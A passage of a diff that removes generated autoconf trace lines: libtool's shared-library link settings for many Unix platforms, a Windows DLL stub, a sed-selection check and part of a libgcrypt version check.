- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- freebsd1*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- else
- case $host_os in
- openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- case $host_os in
- solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;;
- *)
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- ;;
- motorola)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- sysv4.3*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in
-x|xyes)
- # Assume -lc should be added
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $_LT_AC_TAGVAR(archive_cmds, $1) in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- AC_MSG_CHECKING([whether -lc should be explicitly linked in])
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if AC_TRY_EVAL(ac_compile) 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)
- pic_flag=$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=
- if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)
- then
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- else
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- fi
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)])
- ;;
- esac
- fi
- ;;
-esac
-])
-m4trace:acinclude.m4:6876: -1- AC_DEFUN([_LT_AC_FILE_LTDLL_C], [
-# /* ltdll.c starts here */
-# #define WIN32_LEAN_AND_MEAN
-# #include <windows.h>
-# #undef WIN32_LEAN_AND_MEAN
-# #include <stdio.h>
-#
-# #ifndef __CYGWIN__
-# # ifdef __CYGWIN32__
-# # define __CYGWIN__ __CYGWIN32__
-# # endif
-# #endif
-#
-# #ifdef __cplusplus
-# extern "C" {
-# #endif
-# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved);
-# #ifdef __cplusplus
-# }
-# #endif
-#
-# #ifdef __CYGWIN__
-# #include <cygwin/cygwin_dll.h>
-# DECLARE_CYGWIN_DLL( DllMain );
-# #endif
-# HINSTANCE __hDllInstance_base;
-#
-# BOOL APIENTRY
-# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved)
-# {
-# __hDllInstance_base = hInst;
-# return TRUE;
-# }
-# /* ltdll.c ends here */
-])
-m4trace:acinclude.m4:6915: -1- AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])])
-m4trace:acinclude.m4:6919: -1- AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL])
-m4trace:acinclude.m4:6920: -1- AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)])
-m4trace:acinclude.m4:6921: -1- AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)])
-m4trace:acinclude.m4:6922: -1- AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)])
-m4trace:acinclude.m4:6923: -1- AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)])
-m4trace:acinclude.m4:6924: -1- AC_DEFUN([AM_PROG_LD], [AC_PROG_LD])
-m4trace:acinclude.m4:6925: -1- AC_DEFUN([AM_PROG_NM], [AC_PROG_NM])
-m4trace:acinclude.m4:6930: -1- AC_DEFUN([LT_AC_PROG_GCJ], [AC_CHECK_TOOL(GCJ, gcj, no)
- test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2"
- AC_SUBST(GCJFLAGS)
-])
-m4trace:acinclude.m4:6936: -1- AC_DEFUN([LT_AC_PROG_RC], [AC_CHECK_TOOL(RC, windres, no)
-])
-m4trace:acinclude.m4:6950: -1- AC_DEFUN([LT_AC_PROG_SED], [AC_MSG_CHECKING([for a sed that does not truncate output])
-AC_CACHE_VAL(lt_cv_path_SED,
-[# Loop through the user's path and test for sed and gsed.
-# Then use that list of sed's as ones to test for truncation.
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for lt_ac_prog in sed gsed; do
- for ac_exec_ext in '' $ac_executable_extensions; do
- if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then
- lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext"
- fi
- done
- done
-done
-lt_ac_max=0
-lt_ac_count=0
-# Add /usr/xpg4/bin/sed as it is typically found on Solaris
-# along with /bin/sed that truncates output.
-for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do
- test ! -f $lt_ac_sed && continue
- cat /dev/null > conftest.in
- lt_ac_count=0
- echo $ECHO_N "0123456789$ECHO_C" >conftest.in
- # Check for GNU sed and select it if it is found.
- if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then
- lt_cv_path_SED=$lt_ac_sed
- break
- fi
- while true; do
- cat conftest.in conftest.in >conftest.tmp
- mv conftest.tmp conftest.in
- cp conftest.in conftest.nl
- echo >>conftest.nl
- $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break
- cmp -s conftest.out conftest.nl || break
- # 10000 chars as input seems more than enough
- test $lt_ac_count -gt 10 && break
- lt_ac_count=`expr $lt_ac_count + 1`
- if test $lt_ac_count -gt $lt_ac_max; then
- lt_ac_max=$lt_ac_count
- lt_cv_path_SED=$lt_ac_sed
- fi
- done
-done
-])
-SED=$lt_cv_path_SED
-AC_MSG_RESULT([$SED])
-])
-m4trace:acinclude.m4:7025: -1- AC_DEFUN([AM_PATH_LIBGCRYPT], [ AC_ARG_WITH(libgcrypt-prefix,
- AC_HELP_STRING([--with-libgcrypt-prefix=PFX],
- [prefix where LIBGCRYPT is installed (optional)]),
- libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="")
- if test x$libgcrypt_config_prefix != x ; then
- if test x${LIBGCRYPT_CONFIG+set} != xset ; then
- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
- fi
- fi
-
- AC_PATH_PROG(LIBGCRYPT_CONFIG, libgcrypt-config, no)
- tmp=ifelse([$1], ,1:1.2.0,$1)
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
- min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'`
- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
- fi
-
- AC_MSG_CHECKING(for LIBGCRYPT - version >= $min_libgcrypt_version)
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
- req_major=`echo $min_libgcrypt_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
- minor=`echo $libgcrypt_config_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
- micro=`echo $libgcrypt_config_version | \
- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
- if test "$major" -gt "$req_major"; then
- ok=yes
- else
- if test "$major" -eq "$req_major"; then
- if test "$minor" -gt "$req_minor"; then
- ok=yes
- else
- if test "$minor" -eq "$req_minor"; then
- if test "$micro" -ge "$req_micro"; then
- ok=yes
- fi
- fi
- fi
- fi
- fi
